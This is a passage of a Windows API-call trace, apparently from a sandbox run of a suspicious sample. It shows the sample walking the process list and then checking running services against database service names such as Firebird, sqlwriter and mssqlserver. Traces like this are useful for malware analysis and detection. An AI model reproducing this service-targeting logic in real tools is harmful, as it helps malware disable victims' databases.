Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.143] lstrlenW (lpString="svchost.exe") returned 11 [0169.143] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.144] lstrlenW (lpString="svchost.exe") returned 11 [0169.144] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.145] lstrlenW (lpString="svchost.exe") returned 11 [0169.146] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.147] lstrlenW (lpString="svchost.exe") returned 11 [0169.147] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.148] lstrlenW (lpString="svchost.exe") returned 11 [0169.148] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.149] lstrlenW (lpString="svchost.exe") returned 11 [0169.149] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0169.150] lstrlenW (lpString="spoolsv.exe") returned 11 [0169.150] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.151] lstrlenW (lpString="svchost.exe") returned 11 [0169.151] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0169.152] lstrlenW (lpString="audiodg.exe") returned 11 [0169.152] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0169.153] lstrlenW (lpString="taskhostw.exe") returned 13 [0169.153] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0169.154] lstrlenW (lpString="sihost.exe") returned 10 [0169.154] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.156] lstrlenW (lpString="svchost.exe") returned 11 [0169.156] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0169.157] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0169.157] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0169.158] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0169.158] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0169.159] lstrlenW (lpString="Memory Compression") returned 18 [0169.159] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0169.160] lstrlenW (lpString="taskhostw.exe") returned 13 [0169.160] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0169.161] lstrlenW (lpString="msoia.exe") returned 9 [0169.161] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0169.162] lstrlenW (lpString="explorer.exe") returned 12 [0169.162] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0169.163] lstrlenW (lpString="SearchUI.exe") returned 12 [0169.163] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0169.164] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0169.164] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0169.165] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0169.165] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0169.166] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0169.166] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0169.168] lstrlenW (lpString="wmxsde.exe") returned 10 [0169.168] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0169.169] lstrlenW (lpString="cmd.exe") returned 7 [0169.169] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0169.236] lstrlenW (lpString="conhost.exe") returned 11 [0169.236] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0169.237] lstrlenW (lpString="mode.com") returned 8 [0169.237] Process32NextW (in: hSnapshot=0x530, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0169.237] CloseHandle (hObject=0x530) returned 1 [0169.237] Sleep (dwMilliseconds=0x1f4) [0170.111] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f5d8 [0170.111] EnumServicesStatusExW (in: hSCManager=0x459f5d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0170.112] GetLastError () returned 0xea [0170.112] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c28) returned 0x465efa8 [0170.112] EnumServicesStatusExW (in: hSCManager=0x459f5d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x465efa8, cbBufSize=0x1c28, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x465efa8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0170.113] CloseServiceHandle (hSCObject=0x459f5d8) returned 1 [0170.113] lstrlenW (lpString="Appinfo") returned 7 [0170.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0170.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0170.113] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0170.113] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0170.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0170.113] lstrlenW (lpString="AppXSvc") returned 7 [0170.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0170.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0170.113] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0170.113] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0170.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0170.114] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0170.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.114] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0170.114] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0170.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0170.114] lstrlenW (lpString="Audiosrv") returned 8 [0170.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0170.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0170.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0170.114] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0170.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0170.114] lstrlenW (lpString="BFE") returned 3 [0170.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0170.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0170.114] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0170.114] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0170.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0170.114] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0170.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0170.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0170.114] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0170.114] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0170.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0170.114] lstrlenW (lpString="CDPSvc") returned 6 [0170.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0170.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0170.114] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0170.114] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0170.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0170.114] lstrlenW (lpString="ClickToRunSvc") returned 13 [0170.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0170.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0170.115] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0170.115] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0170.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0170.115] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0170.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0170.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0170.115] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0170.115] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0170.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0170.115] lstrlenW (lpString="CryptSvc") returned 8 [0170.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0170.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0170.115] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0170.115] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0170.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0170.115] lstrlenW (lpString="DcomLaunch") returned 10 [0170.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.115] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0170.115] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0170.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0170.115] lstrlenW (lpString="DeviceAssociationService") returned 24 [0170.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0170.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0170.115] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0170.115] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0170.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0170.115] lstrlenW (lpString="Dhcp") returned 4 [0170.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0170.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0170.116] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0170.116] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0170.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0170.116] lstrlenW (lpString="Dnscache") returned 8 [0170.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0170.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0170.116] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0170.116] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0170.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0170.116] lstrlenW (lpString="DPS") returned 3 [0170.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0170.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0170.116] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0170.116] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0170.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0170.116] lstrlenW (lpString="DsmSvc") returned 6 [0170.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0170.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0170.116] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0170.116] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0170.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0170.116] lstrlenW (lpString="DusmSvc") returned 7 [0170.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0170.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0170.116] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0170.116] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0170.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0170.116] lstrlenW (lpString="EventLog") returned 8 [0170.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0170.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0170.116] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0170.117] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0170.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0170.117] lstrlenW (lpString="EventSystem") returned 11 [0170.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0170.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0170.117] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0170.117] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0170.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0170.117] lstrlenW (lpString="FontCache") returned 9 [0170.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0170.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0170.117] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0170.117] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0170.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0170.117] lstrlenW (lpString="gpsvc") returned 5 [0170.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0170.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0170.117] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0170.117] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0170.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0170.117] lstrlenW (lpString="iphlpsvc") returned 8 [0170.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.117] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0170.117] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0170.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0170.117] lstrlenW (lpString="KeyIso") returned 6 [0170.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0170.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0170.117] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0170.117] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0170.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0170.118] lstrlenW (lpString="LanmanServer") returned 12 [0170.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0170.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0170.118] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0170.118] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0170.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0170.118] lstrlenW (lpString="LanmanWorkstation") returned 17 [0170.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.118] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0170.118] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0170.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0170.118] lstrlenW (lpString="lfsvc") returned 5 [0170.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0170.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0170.118] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0170.118] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0170.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0170.118] lstrlenW (lpString="lmhosts") returned 7 [0170.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0170.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0170.118] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0170.118] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0170.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0170.118] lstrlenW (lpString="LSM") returned 3 [0170.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0170.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0170.118] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0170.118] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0170.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0170.118] lstrlenW (lpString="MpsSvc") returned 6 [0170.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0170.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0170.119] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0170.119] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0170.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0170.119] lstrlenW (lpString="NcbService") returned 10 [0170.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0170.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0170.119] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0170.119] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0170.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0170.119] lstrlenW (lpString="netprofm") returned 8 [0170.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0170.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0170.119] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0170.119] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0170.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0170.119] lstrlenW (lpString="NgcSvc") returned 6 [0170.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0170.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0170.119] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0170.119] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0170.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0170.119] lstrlenW (lpString="NlaSvc") returned 6 [0170.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 